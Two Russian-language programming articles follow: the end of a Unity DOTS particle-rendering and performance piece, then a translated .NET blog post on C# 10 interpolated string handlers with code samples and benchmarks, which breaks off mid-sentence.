Entities.ForEach((
ref AccelerationData acceleration,
in AttractorPosData attractorPos,
in Translation t,
in VelocityData velocity) =>
{
// Сила притяжения
var attraction = (attractorPos.Value - t.Value.xy) * attractionPower;
var distSqr = math.distancesq(repulsorPos, t.Value.xy);
// Сила отталкивания
var repulsion = -math.normalizesafe(repulsorPos - t.Value.xy)
/ distSqr * repulsionPower;
// Сила затухания
var damping = -velocity.Value * dampingPower;
acceleration.Value = attraction + repulsion + damping;
})
.ScheduleParallel();
}
}
```
Рендер
------
Несмотря на потенциально огромное количество частиц, которые нужно отобразить, для всех можно использовать один и тот же квадратный mesh из двух полигонов, а так же один и тот же материал, что позволило бы отрендерить их все за один draw call, если бы не одно «но»: у всех частиц, в общем случае, разные цвета, иначе получившаяся картинка будет очень скучной.
Стандартный Unity-шейдер *«Sprites/Default»* умеет использовать [GPU Instancing](https://docs.unity3d.com/Manual/GPUInstancing.html) для оптимизации рендера объектов с неодинаковыми спрайтами и цветами, объединяя их в один draw call, но в его случае ссылка на текстуру и цвет для каждого конкретного объекта должна задаваться из скрипта, к чему из ECS у нас доступа нет.
В качестве решения может выступить метод *[Graphics.DrawMeshInstanced](https://docs.unity3d.com/ScriptReference/Graphics.DrawMeshInstanced.html)*, позволяющий отрисовать один mesh несколько раз за один draw call с разными параметрами материала, используя тот же GPU Instancing. Выглядит это следующим образом:
```
[UpdateAfter(typeof(TrsMatrixCalculationSystem))]
public class SpriteSheetRenderer : SystemBase
{
// DrawMeshInstanced позволяет рендерить не более 1023 объектов за один вызов
private const int BatchCount = 1023;
// Список матриц перехода
private readonly List \_matrixList = new List(BatchCount);
// Список цветов
private readonly List \_colorList = new List(BatchCount);
protected override void OnUpdate()
{
var materialPropertyBlock = new MaterialPropertyBlock();
var quadMesh = Globals.Quad;
var material = Globals.ParticleMaterial;
// Хэширование доступа к свойству материала по строке
// для большей производительности
var shaderPropertyId = Shader.PropertyToID("\_Color");
var entityQuery = GetEntityQuery(typeof(ParticleData));
// Получение списка сущностей, содержащих компонент ParticleData
var animationData =
entityQuery.ToComponentDataArray(Allocator.TempJob);
var layer = LayerMask.NameToLayer("Particles");
for (int meshCount = 0;
meshCount < animationData.Length;
meshCount += BatchCount)
{
var batchSize = math.min(BatchCount, animationData.Length - meshCount);
\_matrixList.Clear();
\_colorList.Clear();
for (var i = meshCount; i < meshCount + batchSize; i++)
{
\_matrixList.Add(animationData[i].matrix);
\_colorList.Add(animationData[i].color);
}
materialPropertyBlock.SetVectorArray(shaderPropertyId, \_colorList);
Graphics.DrawMeshInstanced(
quadMesh,
0,
material,
\_matrixList,
materialPropertyBlock,
ShadowCastingMode.Off, false, layer);
}
animationData.Dispose();
}
}
```
Для того, чтобы отрендерить группу объектов, используя данный метод, нужно собрать массив матриц перехода и тех свойств материала, которые предполагается варьировать. Система рендера, как можно заметить, выполняется после *TrsMatrixCalculationSystem* — вспомогательной системы, рассчитывающей матрицу перехода для каждой из частиц, которая выглядит очень просто:
```
[UpdateAfter(typeof(MoveSystem))]
public class TrsMatrixCalculationSystem : SystemBase
{
protected override void OnUpdate()
{
// Получение значение scale из глобального состояния
var scale = Globals.SettingsHolder.SettingsModel.ParticlesScale;
Entities.ForEach((ref ParticleData data, in Translation translation) =>
{
data.matrix = Matrix4x4.TRS(translation.Value, Quaternion.identity,
new Vector3(scale, scale, scale));
})
.ScheduleParallel();
}
}
```
**Анимация 46.000 частиц**
Производительность
------------------
Пришло время поговорить о том, для чего (помимо, конечно, эстетического удовлетворения) это всё затевалось. В Unity, на данный момент, есть возможность выбрать из двух *Scripting Backend* (реализаций CLR): старая-добрая *Mono* и более современное решение от разработчиков Unity — *IL2CPP*.
Сравним производительность билдов для этих двух реализаций рантайма:
| Количество частиц на экране | Average frame rate, Mono | Average frame rate, IL2CPP |
| --- | --- | --- |
| 50000 | 128 | 255 |
| 100000 | 66 | 130 |
| 200000 | 31 | 57 |
Спецификации ПК:
*QHD 2560x1440*
*Intel Core i5-9600K*
*16GB RAM*
*MSI GeForce RTX 2080 SUPER VENTUS XS OC 8.0 GB*
*160.000 частиц*
Заметно, что, в рамках данного сферического в вакууме эксперимента, IL2CPP выигрывает у Mono примерно в два раза.
Согласно профилировщику, буквально все время, затрачиваемое на кадр, уходит на систему рендера, расчеты остальных систем обходятся практически «бесплатно»:
*Unity Editor*
*Build*
Заметно, что большая часть времени уходит на процедуры преобразования цвета из *Color* в *Vector4* и добавления в список *List.Add()*. Избавиться от первой мы можем легко — перенесём преобразование на момент генерации частиц, так как цвет в процессе не меняется:
```
// Заменим
public struct ParticleData : IComponentData
{
public Color color;
public Matrix4x4 matrix;
}
// На
public struct ParticleData : IComponentData
{
public Vector4 color;
public Matrix4x4 matrix;
}
```
Это изменение позволило полностью избавиться от дорогой операции преобразования:
Количество кадров в секунду для 200.000 частиц после него выросло до 61.
Возможно, можно оптимизировать заполнение списков, например, хранить все массивы цветов, генерируя их единожды, но такое решение не кажется мне изящным, поэтому буду рад конструктивным предложениям в комментариях.
Заключение
----------
ECS в целом и Unity DOTS в частности — отличные инструменты для определенных сценариев и классов задач. Свою роль в эффективной обработке огромного количества данных они исполняют великолепно и позволяют создавать симуляции, на которые в их отсутствие ушло бы значительно больше усилий. Не стоит, однако, считать DOTS «серебряной пулей» и кидаться камнями в разработчиков, придерживающихся традиционных для Unity концепций в новых проектах — DOTS подходит далеко не каждому и далеко не для каждой задачи.
P.S.
----
Каждый желающий может ознакомиться с проектом в моем [**github-репозитории**](https://github.com/Ommand/ECSParticleWallpaper), а как же установить билд как обои рабочего стола в **[Wallpaper Engine](https://store.steampowered.com/app/431960/Wallpaper_Engine/)**: [ссылка](https://steamcommunity.com/sharedfiles/filedetails/?id=2068292161). | https://habr.com/ru/post/498630/ | null | ru | null |
# Компилятор C# 10, .NET 6 и интерполяция строк
К старту [курса по разработке на C#](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_050122&utm_term=lead) делимся материалом из блога .NET о том, как компилятор C# 10 и .NET 6 упрощают программирование, как они обращаются с форматированием, а также о причинах конкретных решений команды .NET. И это далеко не всё. За подробностями приглашаем под кат.
---
Обработка текста — это сердце множества приложений и сервисов. Для .NET это означает много, очень много System.String. Создание String столь фундаментально, что с момента выхода .NET Framework 1.0 есть огромное количество способов создать строку. Теперь их ещё больше. Распространены API для создания строк, конструкторы String, StringBuilder, переопределения ToString… Вспомогательные методы String — Join или Concat, Create и Replace. И один из самых мощных API создания строк в .NET — String.Format. String.Format имеет множество перегрузок. Их все объединяет возможность предоставления "строки формата" и соответствующих аргументов. Такая строка — простой текст и плейсхолдеры, то есть элементы формата. Они заполняются аргументами, предоставленными операцией форматирования:
```
string.Format("Hello, {0}! How are you on this fine {1}?", name, DateTime.Now.DayOfWeek), // вызванный в четверг с именем "Stephen", выведет "Hello, Stephen! How are you on this fine Thursday?".
```
Можно определить спецификатор формата: string.Format("{0} in hex is 0x{0:X}", 12345), тогда вернётся строка "12345 in hex is 0x3039".
Благодаря своим возможностям String.Format — рабочая лошадка. В C# 6 даже добавили синтаксис «интерполяции строки», позволяющий с помощью символа $ помещать аргументы прямо в строку. Перепишем пример выше:
```
$"Hello, {name}! How are you on this fine {DateTime.Now.DayOfWeek}?"
```
Для интерполированной строки компилятор волен генерировать любой код, который сочтёт лучшим. Главное — тот же результат. И чтобы добиваться результата, у компилятора есть разнообразные механизмы. К примеру, если написать:
```
const string Greeting = "Hello";
const string Name = "Stephen";
string result = $"{Greeting}, {Name}!";
```
Компилятор увидит, что все составляющие интерполированной строки — строковые литералы, и сгенерирует IL-код с единственным литералом:
```
string result = "Hello, Stephen!";
```
А если написать так:
```
public static string Greet(string greeting, string name) => $"{greeting}, {name}!";
```
Компилятор увидит, что все элементы формата заполнены строками и сгенерирует вызов String.Concat:
```
public static string Greet(string greeting, string name) => string.Concat(greeting, ", ", name);
```
В общем случае генерируется вызов String.Format. Если написать так:
```
public static string DescribeAsHex(int value) => $"{value} in hex is 0x{value:X}";
```
Компилятор вернёт код, похожий на вызов string.Format выше:
```
public static string DescribeAsHex(int value) => string.Format("{0} in hex is 0x{1:X}", value, value);
```
Примеры с константной строкой и String.Concat приближены к настолько хорошему выводу, на какой компилятор только может рассчитывать. В иных случаях со String.Format возникают ограничения, в том числе такие:
* Чтобы найти литеральные элементы текста, элементы формата, их спецификаторы и выравнивания, строку формата необходимо разобрать. В случае интерполяции строк компилятор уже сделал это, чтобы сгенерировать String.Format, но разбор приходится повторять на каждом вызове.
* Эти API принимают аргументы типа System.Object. Любые типы значений упаковываются в боксы, чтобы передать их как аргументы.
* Некоторые перегрузки String.Format принимают до трёх отдельных аргументов. Для большего их числа есть дженерик-перегрузка, принимающая params Object[]. То есть если аргументов больше трёх, то выделяется массив.
* Чтобы извлечь строку для вставки, нужно воспользоваться методом ToString объекта-аргумента. ToString метод не только включает виртуальную и интерфейсную диспетчеризацию (Object.ToString) или (IFormattable.ToString), но и выделяет временную строку.
* Во всех этих механизмах элементом формата может быть только то, что передаётся как System.Object. ref-структуры, такие как Span и ReadOnlySpan, использовать нельзя. Но именно они всё чаще используются как повышающие производительность за счёт представления фрагментов текста без выделения памяти. Это касается слайсинга большой строки на Span или текста, отформатированного в выделенной стеком (или в переиспользуемом буфере) памяти. Жаль, что нельзя использовать их в таких операциях конструирования больших строк.
Язык и компилятор C# поддерживают таргетинг System.FormattableString — эффективного кортежа строки формата и массива аргументов Object[], передаваемых в String.Format. Это позволяет использовать синтаксис интерполяции строк, не ограничиваясь System.String. Код может взять FormattableString с её данными и сделать с ней что-нибудь особенное.
Например, метод FormattableString.Invariant принимает FormattableString и передаёт данные вместе с CultureInfo.InvariantCulture в String.Format, чтобы выполнить форматирование с InvariantCulture, а не CurrentCulture. Полезно, но добавляет накладных расходов: все эти объекты должны быть созданы до того, как с ними что-то будет сделано. Помимо выделения памяти FormattableString добавляет собственные накладные расходы, такие как дополнительные вызовы виртуальных методов.
В C# 10 и .NET 6 все эти и другие проблемы решаются с помощью обработчиков интерполированных строк!
### Строки, но быстрее
«Понижение» в компиляторе — это процесс, при котором компилятор переписывает высокоуровневую или сложную конструкцию в конструкцию проще или эффективнее:
```
int[] array = ...;
foreach (int i in array)
{
Use(i);
}
```
Вместо генерации кода с перечислением:
```
int[] array = ...;
using (IEnumerator e = array.GetEnumerator())
{
while (e.MoveNext())
{
Use(e.Current);
}
}
```
компилятор генерирует краткий и быстрый код, как будто вы работали с индексом массива:
```
int[] array = ...;
for (int i = 0; i < array.Length; i++)
{
Use(array[i]);
}
```
C# 10 устраняет упомянутые пробелы поддержки интерполированных строк. Язык позволяет «спускаться» не только до константной строки, вызова String.Concat или String.Format, но и до серии добавлений к билдеру, аналогично применению Append в StringBuilder. Такие билдеры называются «обработчиками интерполированных строк», и .NET 6 содержит обработчик типа System.Runtime.CompilerServices, чтобы компилятор использовал его напрямую:
```
namespace System.Runtime.CompilerServices
{
[InterpolatedStringHandler]
public ref struct DefaultInterpolatedStringHandler
{
public DefaultInterpolatedStringHandler(int literalLength, int formattedCount);
public DefaultInterpolatedStringHandler(int literalLength, int formattedCount, System.IFormatProvider? provider);
public DefaultInterpolatedStringHandler(int literalLength, int formattedCount, System.IFormatProvider? provider, System.Span initialBuffer);
public void AppendLiteral(string value);
public void AppendFormatted(T value);
public void AppendFormatted(T value, string? format);
public void AppendFormatted(T value, int alignment);
public void AppendFormatted(T value, int alignment, string? format);
public void AppendFormatted(ReadOnlySpan value);
public void AppendFormatted(ReadOnlySpan value, int alignment = 0, string? format = null);
public void AppendFormatted(string? value);
public void AppendFormatted(string? value, int alignment = 0, string? format = null);
public void AppendFormatted(object? value, int alignment = 0, string? format = null);
public string ToStringAndClear();
}
}
```
Пример использования:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
$"{major}.{minor}.{build}.{revision}";
```
До C# 10 сгенерированный код аналогичен следующему:
```
public static string FormatVersion(int major, int minor, int build, int revision)
{
var array = new object[4];
array[0] = major;
array[1] = minor;
array[2] = build;
array[3] = revision;
return string.Format("{0}.{1}.{2}.{3}", array);
}
```
Увидеть некоторые из упомянутые расходы можно через профайлер выделения памяти. Я поработаю с .NET Object Allocation Tracking в Performance Profiler в Visual Studio на таком коде:
```
for (int i = 0; i < 100_000; i++)
{
FormatVersion(1, 2, 3, 4);
}
public static string FormatVersion(int major, int minor, int build, int revision) =>
$"{major}.{minor}.{build}.{revision}";
```
Вот результаты:
Видите выделенную строку? Выполняется боксинг всех четырёх целых чисел; ожидаемую строку с результатом дополняет массив object[]. Но C# 10 нацелен на .NET 6, и компилятор генерирует код, эквивалентный этому:
```
public static string FormatVersion(int major, int minor, int build, int revision)
{
var handler = new DefaultInterpolatedStringHandler(literalLength: 3, formattedCount: 4);
handler.AppendFormatted(major);
handler.AppendLiteral(".");
handler.AppendFormatted(minor);
handler.AppendLiteral(".");
handler.AppendFormatted(build);
handler.AppendLiteral(".");
handler.AppendFormatted(revision);
return handler.ToStringAndClear();
}
```
Вот что мы видим:
Боксинг и выделения массивов устранены.
Что же делает компилятор?
* Создаёт DefaultInterpolatedStringHandler, передавая два значения: количество символов в литеральных частях интерполированной строки и количество элементов формата в ней. Обработчик может использовать эту информацию: например, предположить, сколько места требуется всей операции форматирования, и занять достаточно большой начальный буфер из ArrayPool.Shared.
* Генерирует серию вызовов, чтобы добавить элементы интерполированной строки, вызывая AppendLiteral для константных частей строки и одну из перегрузок AppendFormatted — для элементов формата.
* Вызывает метод обработчика ToStringAndClear, чтобы извлечь строку и вернуть в пул любые ресурсы ArrayPool.Shared.
Вернувшись к списку проблем с string.Format, мы увидим, как они решаются:
* Строки формата, которую нужно разбирать в рантайме, больше нет: компилятор разобрал её во время компиляции и сгенерировал соответствующую последовательность вызовов.
* Обработчик предоставляет дженерик-метод AppendFormatted, поэтому типы значений не подвергаются боксингу для добавления. Последствия? Например, если T — тип значения, то код внутри AppendFormatted специализируется для этого конкретного типа. Любые выполняемые этим методом проверки интерфейса или диспетчеризация виртуального метода/интерфейса могут быть девиртуализированы и, возможно, даже заинлайнены.
Много лет мы рассматривали возможность добавить дженерик-перегрузки String.Format, например. Format(string format, T1 arg, T2 arg), чтобы помочь избежать боксинга, но такой подход также приводит к разрастанию кода: каждый вызов с уникальным набором значений аргументов дженерик-типа приведёт к созданию специализации дженерика на месте вызова. Мы можем решить сделать так в будущем, но подход ограничивает разрастание кода за счёт того, что каждому T нужна только одна специализация AppendFormatted, а не комбинация всех пройденных в конкретном месте вызова T от T1 до T3.
* Теперь на каждый элемент формата выполняется один AppendFormatted. Искусственного ограничения на то, когда мы должны использовать и выделять массив для передачи более трёх аргументов, больше нет.
* Компилятор привяжет к конкретному типу любой метод AppendFormatted, принимающий тип, совместимый с типом форматируемых данных. Предоставив AppendFormatted(ReadOnlySpan), Span теперь можно использовать в элементах формата интерполированных строк.
А как насчёт выделения промежуточных строк, которые ранее могли быть результатом вызова object.ToString или IFormattable.ToString для элементов формата? .NET 6 предоставляет интерфейс ISpanFormattable, реализованный многими типами в библиотеках ядра, который был внутренним.
```
public interface ISpanFormattable : IFormattable
{
bool TryFormat(Span destination, out int charsWritten, ReadOnlySpan format, IFormatProvider? provider);
}
```
Дженерик-перегрузки AppendFormatted в DefaultInterpolatedStringHandler проверяют, реализует ли тип T этот интерфейс. Если это так, то они используют данный тип для форматирования не во временную System.String, а напрямую в поддерживающий обработчик буфер.
Из-за оптимизации, выполняемой компилятором, специализации дженерика проверка интерфейса может выполняться при компиляции кода сборки, поэтому диспетчеризации интерфейса для таких типов нет. Выполнив простой контрольный тест, можно увидеть влияние этого факта на производительность:
```
using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
using System.Runtime.CompilerServices;
[MemoryDiagnoser]
public class Program
{
static void Main(string[] args) => BenchmarkSwitcher.FromAssemblies(new[] { typeof(Program).Assembly }).Run(args);
private int major = 6, minor = 0, build = 100, revision = 7;
[Benchmark(Baseline = true)]
public string Old()
{
var array = new object[4];
array[0] = major;
array[1] = minor;
array[2] = build;
array[3] = revision;
return string.Format("{0}.{1}.{2}.{3}", array);
}
[Benchmark]
public string New()
{
var builder = new DefaultInterpolatedStringHandler(3, 4);
builder.AppendFormatted(major);
builder.AppendLiteral(".");
builder.AppendFormatted(minor);
builder.AppendLiteral(".");
builder.AppendFormatted(build);
builder.AppendLiteral(".");
builder.AppendFormatted(revision);
return builder.ToStringAndClear();
}
}
```
На моей машине код приводит к таким результатам:
| Метод | Среднее время | Коэффициент | Выделено |
| --- | --- | --- | --- |
| Старый | 109.93 нс | 1.00 | 192 б |
| Новый | 69.95 нс | 0.64 | 40 б |
| NewStack | 48.57 нс | 0.44 | 40 б |
Простая перекомпиляция позволяет сократить выделение памяти почти в 5 раз и повысить пропускную способность на 40%. Но можно сделать лучше…
Компилятор не просто знает, как при понижении интерполированной строки неявно использовать DefaultInterpolatedStringHandler. Он знает, как выбрать действие на основе того, чему что-то присваивается. «Нацелить» интерполированную строку на «обработчик интерполированной строки», то есть на тип, реализующий известный компилятору шаблон. Шаблон реализуется DefaultInterpolatedStringHandler.
То есть метод может иметь параметр DefaultInterpolatedStringHandler. Когда интерполированная строка передаётся как аргумент этого параметра, компилятор сгенерирует ту же конструкцию и вызовы Append, чтобы создать и заполнить обработчик до его передачи методу.
Чтобы заставить компилятор передать другие аргументы в конструктор обработчика, метод может воспользоваться атрибутом [InterpolatedStringHandlerArgument(…)], если предусмотрен соответствующий конструктор. Кроме конструкторов из примеров, DefaultInterpolatedStringHandler предоставляет ещё два конструктора. Первый для управления форматированием также принимает `IFormatProvider?`, а второй — Span.
Последний можно использовать как временное пространство для операции форматирования. Это пространство обычно выделяется в стеке или берётся из буфера массива многократного использования, к которому легко получить доступ. Не требуется, чтобы обработчик всегда занимал ArrayPool. Иными словами, написать вспомогательный метод можно так:
```
public static string Create(
IFormatProvider? provider,
Span initialBuffer,
[InterpolatedStringHandlerArgument("provider", "initialBuffer")] ref DefaultInterpolatedStringHandler handler) =>
handler.ToStringAndClear();
```
Реализация, в которой многого нет, может показаться немного странной… Это потому, что большая часть работы происходит на месте вызова. Когда вы пишете:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
Create(null, stackalloc char[64], $"{major}.{minor}.{build}.{revision}");
```
Компилятор понижает это значение до эквивалента:
```
public static string FormatVersion(int major, int minor, int build, int revision)
{
Span span = stackalloc char[64];
var handler = new DefaultInterpolatedStringHandler(3, 4, null, span);
handler.AppendFormatted(major);
handler.AppendLiteral(".");
handler.AppendFormatted(minor);
handler.AppendLiteral(".");
handler.AppendFormatted(build);
handler.AppendLiteral(".");
handler.AppendFormatted(revision);
return Create(null, span, ref handler);
}
```
Теперь, когда можно начать с выделенного стеком пространства буфера, ArrayPool здесь не понадобится:
| Метод | Среднее время | Коэффициент | Выделено |
| --- | --- | --- | --- |
| Старый | 109.93 нс | 1.00 | 192 б |
| Новый | 69.95 нс | 0.64 | 40 б |
| NewStack | 48.57 нс | 0.44 | 40 б |
Конечно, мы не призываем всех самостоятельно создавать такой метод Create. В .NET 6 этот метод предоставлен в System.String:
```
public sealed class String
{
public static string Create(
IFormatProvider? provider,
[InterpolatedStringHandlerArgument("provider")] ref DefaultInterpolatedStringHandler handler);
public static string Create(
IFormatProvider? provider,
Span initialBuffer,
[InterpolatedStringHandlerArgument("provider", "initialBuffer")] ref DefaultInterpolatedStringHandler handler);
}
```
Значит, этот код можно написать без кастомных хелперов:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
string.Create(null, stackalloc char[64], $"{major}.{minor}.{build}.{revision}");
```
А как насчёт аргумента `IFormatProvider?`? DefaultInterpolatedStringHandler может передавать его в вызовы AppendFormatted. И это означает, что данные перегрузки string.Create предоставляют прямую и гораздо более эффективную альтернативу FormattableString.Invariant. Допустим, в нашем примере форматирования захочется использовать InvariantCulture. Раньше можно было написать так:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
FormattableString.Invariant($"{major}.{minor}.{build}.{revision}");
```
А теперь — так:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
string.Create(CultureInfo.InvariantCulture, $"{major}.{minor}.{build}.{revision}");
```
Или, если задействовать память на стеке:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
string.Create(CultureInfo.InvariantCulture, stackalloc char[64], $"{major}.{minor}.{build}.{revision}");
```
разница в производительности больше:
| Метод | Среднее время | Коэффициент | Выделено |
| --- | --- | --- | --- |
| Старый | 124.94 нс | 1.00 | 224 б |
| Новый | 48.19 нс | 0.39 | 40 б |
Передать можно далеко не только CultureInfo.InvariantCulture. DefaultInterpolatedStringHandler для поставляемого IFormatProvider поддерживает те же интерфейсы, что и String.Format, поэтому могут использоваться даже реализации, поставляющие ICustomFormatter. Допустим, я хочу изменить код, чтобы вывести все целочисленные значения в шестнадцатеричном формате:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
$"{major:X}.{minor:X}.{build:X}.{revision:X}";
```
Теперь, когда спецификаторы формата предоставлены, компилятор ищет не AppendFormatted, принимающий только Int32. Он ищет метод, способный принимать и форматируемое Int32, и спецификатор формата строки. Подходящая перегрузка есть в DefaultInterpolatedStringHandler:
```
public static string FormatVersion(int major, int minor, int build, int revision)
{
var handler = new DefaultInterpolatedStringHandler(3, 4);
handler.AppendFormatted(major, "X");
handler.AppendLiteral(".");
handler.AppendFormatted(minor, "X");
handler.AppendLiteral(".");
handler.AppendFormatted(build, "X");
handler.AppendLiteral(".");
handler.AppendFormatted(revision, "X");
return handler.ToStringAndClear();
}
```
Компилятор разобрал строку формата на отдельные серии вызовов Append, но также разобрал спецификатор формата, который станет аргументом AppendFormatted. А если, развлекаясь, мы захотим вывести компоненты в двоичном формате? Спецификатора, который даст двоичное представление Int32, просто нет. Но означает ли это, что синтаксис интерполированных строк использовать невозможно? Напишем небольшую реализацию ICustomFormatter:
```
private sealed class ExampleCustomFormatter : IFormatProvider, ICustomFormatter
{
public object? GetFormat(Type? formatType) => formatType == typeof(ICustomFormatter) ? this : null;
public string Format(string? format, object? arg, IFormatProvider? formatProvider) =>
format == "B" && arg is int i ? Convert.ToString(i, 2) :
arg is IFormattable formattable ? formattable.ToString(format, formatProvider) :
arg?.ToString() ??
string.Empty;
}
```
и передадим в String.Create:
```
public static string FormatVersion(int major, int minor, int build, int revision) =>
string.Create(new ExampleCustomFormatter(), $"{major:B}.{minor:B}.{build:B}.{revision:B}");
```
Изящно.
#### Замечание о перегрузках
Интересно отметить перегрузки AppendFormatted, открытые в обработчике. Первые четыре из них — дженерики и подходят для подавляющего большинства типов входных данных, которые возможно передать как элементы формата:
```
public void AppendFormatted(T value);
public void AppendFormatted(T value, string? format);
public void AppendFormatted(T value, int alignment);
public void AppendFormatted(T value, int alignment, string? format);
```
К примеру, когда задаётся int, эти перегрузки позволяют использовать такие элементы формата:
```
$"{value}" // formats value with its default formatting
$"{value:X2}" // formats value as a two-digit hexademical value
$"{value,-3}" // formats value consuming a minimum of three characters, left-aligned
$"{value,8:C}" // formats value as currency consuming a minimum of eight characters, right-aligned
```
Сделав аргументы выравнивания и формата необязательными, мы могли задействовать всё только с помощью самой длинной перегрузки. Чтобы определить, к какой из AppendFormatted привязываться, компилятор использует обычное разрешение перегрузки. И если бы у нас была только AppendFormatted(T value, int alignment, string? format), то она работала бы нормально. Но есть две причины, почему мы так не сделали:
1. Необязательные параметры в конечном счёте динамически генерирует значения по умолчанию в IL как аргументы. Это раздувает места вызова, а учитывая, как часто используются интерполированные строки, размер кода в этих местах хотелось минимизировать.
2. Иногда есть преимущества в смысле качества кода. Когда реализация этих методов может принимать значения format и alignment по умолчанию, результирующий код может стать последовательнее. Итак, для дженерик-перегрузок, которые представляют из себя большинство случаев аргументов интерполированных строк, мы добавили все четыре комбинации.
Конечно, есть вещи, которые сегодня в виде дженериков представить невозможно. Наиболее заметны в этом плане ref-структуры. Учитывая важность Span и ReadOnlySpan (первый неявно конвертируется во второй), обработчик предоставляет перегрузки:
```
public void AppendFormatted(ReadOnlySpan value);
public void AppendFormatted(ReadOnlySpan value, int alignment = 0, string? format = null);
```
В случае ReadOnlySpan span = "hi there".Slice(0, 2) перегрузки позволяют воспользоваться такими элементами формата:
```
$"{span}" // outputs the contents of the span
$"{span,4}" // outputs the contents of the span consuming a minimum of four characters, right-aligned
```
Последнее можно сделать с помощью метода AppendFormatted, который принимал бы только выравнивание, но передача выравнивания — относительно редкое явление, поэтому мы решили оставить одну перегрузку, которая могла бы принимать выравнивание и формат. format и Span игнорируется, но отсутствие этой перегрузки может привести к тому, что компилятор выдаст ошибку. Поэтому перегрузка существует для единобразия.
Получается такой код:
```
public void AppendFormatted(object? value, int alignment = 0, string? format = null);
```
Перегрузка на основе object вместо дженерика нужна, когда компилятор не может определить лучший тип для дженерика, а значит, не сможет привязать его, если предлагать только универсальный тип:
```
public static T M(bool b) => b ? 1 : null; // error
```
Выше компилятор не сможет определить тип для представления результата этого выражения, код не скомпилируется. Но если написать так:
```
public static object M(bool b) => b ? 1 : null; // ok
```
Код скомпилируется, ведь и 1, и null можно преобразовать в object. Таким образом, чтобы обрабатывать эти крайние случаи, мы предоставляем перегрузку AppendFormatted для object. Случаи довольно редкие, поэтому как запасной вариант мы добавили только самую длинную перегрузку с необязательными параметрами.
А если попытаться передать строку с выравниванием и форматом, возникает проблема. Компилятору нужно выбрать между T, object и ReadOnlySpan; string неявно конвертируется и в object, и в ReadOnlySpan (определена неявная операция приведения). Поэтому тип не однозначен. Чтобы решить проблему, мы добавили перегрузку string, принимающая необязательные выравнивание и формат. И другую, оптимизированную для строк перегрузку, которая принимает только string:
```
public void AppendFormatted(string? value);
public void AppendFormatted(string? value, int alignment = 0, string? format = null);
```
### Интерполяция внутри Span
До сих пор мы наблюдали, как создание строк с интерполяцией в C# становится быстрее и эффективнее с точки зрения памяти. С помощью String.Create мы добились некоторого контроля над интерполяцией строк. Но новая интерполяция в C# выходит далеко за рамки создания экземпляров String. Синтаксис интерполяции строк поддерживается при форматировании в произвольные цели.
Одним из самых интересных и значимых достижений в .NET за последние годы стало распространение Span. ReadOnlySpan и Span позволили значительно повысить производительность обработки текста. Форматирование здесь — ключевой момент…
Многие типы .NET для вывода представления в буфер теперь имеют символьные методы TryFormat, а не ToString, создающий эквивалент в новом экземпляре строки. Интерфейс ISpanFormattable с методом TryFormat стал публичным, поэтому практика распространится. К примеру, я реализую тип Point и хочу реализовать ISpanFormattable:
```
public readonly struct Point : ISpanFormattable
{
public readonly int X, Y;
public static bool TryFormat(Span destination, out int charsWritten, ReadOnlySpan format, IFormatProvider? provider)
{
...
}
}
```
Как же реализовать TryFormat? Например, форматируя каждый компонент, нарезая Span по мере продвижения и в целом проделывая это вручную, например:
```
public bool TryFormat(Span destination, out int charsWritten, ReadOnlySpan format, IFormatProvider? provider)
{
charsWritten = 0;
int tmpCharsWritten;
if (!X.TryFormat(destination, out tmpCharsWritten, format, provider))
{
return false;
}
destination = destination.Slice(tmpCharsWritten);
if (destination.Length < 2)
{
return false;
}
", ".AsSpan().CopyTo(destination);
tmpCharsWritten += 2;
destination = destination.Slice(2);
if (!Y.TryFormat(destination, out int tmp, format, provider))
{
return false;
}
charsWritten = tmp + tmpCharsWritten;
return true;
}
```
Прекрасно, хотя требует нетривиального объёма кода. Жаль, что я не могу использовать синтаксис интерполяции, чтобы выразить намерение и заставить компилятор сгенерировать логически эквивалентный код:
```
public bool TryFormat(Span destination, out int charsWritten, ReadOnlySpan format, IFormatProvider? provider) =>
destination.TryWrite(provider, $"{X}, {Y}", out charsWritten);
```
На самом деле такое возможно. Благодаря поддержке компилятором пользовательских обработчиков интерполированных строк, в C# 10 и .NET 6 код выше «просто работает».
.NET 6 содержит новые методы расширения класса MemoryExtensions:
```
public static bool TryWrite(
this System.Span destination,
[InterpolatedStringHandlerArgument("destination")] ref TryWriteInterpolatedStringHandler handler,
out int charsWritten);
public static bool TryWrite(
this System.Span destination,
IFormatProvider? provider,
[InterpolatedStringHandlerArgument("destination", "provider")] ref TryWriteInterpolatedStringHandler handler,
out int charsWritten);
```
Структура этих методов должна выглядеть знакомо. Как параметр они принимают «обработчик», которому приписывается атрибут [InterpolatedStringHandlerArgument]. Этот атрибут ссылается на другие параметры сигнатуры.
Тип TryWriteInterpolatedStringHandler разработан из-за требований компилятора к обработчику интерполированных строк. Он должен иметь:
* Атрибут [InterpolatedStringHandler].
* Конструктор, принимающий два параметра — int literalLength и int formattedCount. Если параметр обработчика имеет атрибут InterpolatedStringHandlerArgument, то конструктор должен иметь параметр для каждого именованного аргумента этого атрибута соответствующих типов и в правильном порядке. Последним опциональным параметром конструктора может быть out bool.
* Методы AppendLiteral(string) и AppendFormatted, который поддерживает все типы элементов формата, переданные в интерполированной строке. Эти методы могут не возвращать ничего (void) или, опционально, возвращать bool.
В результате тип TryWriteInterpolatedStringHandler имеет форму, похожую на форму DefaultInterpolatedStringHandler:
```
[InterpolatedStringHandler]
public ref struct TryWriteInterpolatedStringHandler
{
public TryWriteInterpolatedStringHandler(int literalLength, int formattedCount, Span destination, out bool shouldAppend);
public TryWriteInterpolatedStringHandler(int literalLength, int formattedCount, Span destination, IFormatProvider? provider, out bool shouldAppend);
public bool AppendLiteral(string value);
public bool AppendFormatted(T value);
public bool AppendFormatted(T value, string? format);
public bool AppendFormatted(T value, int alignment);
public bool AppendFormatted(T value, int alignment, string? format);
public bool AppendFormatted(ReadOnlySpan value);
public bool AppendFormatted(ReadOnlySpan value, int alignment = 0, string? format = null);
public bool AppendFormatted(object? value, int alignment = 0, string? format = null);
public bool AppendFormatted(string? value);
public bool AppendFormatted(string? value, int alignment = 0, string? format = null);
}
```
При таком типе вызов подобен предыдущему:
```
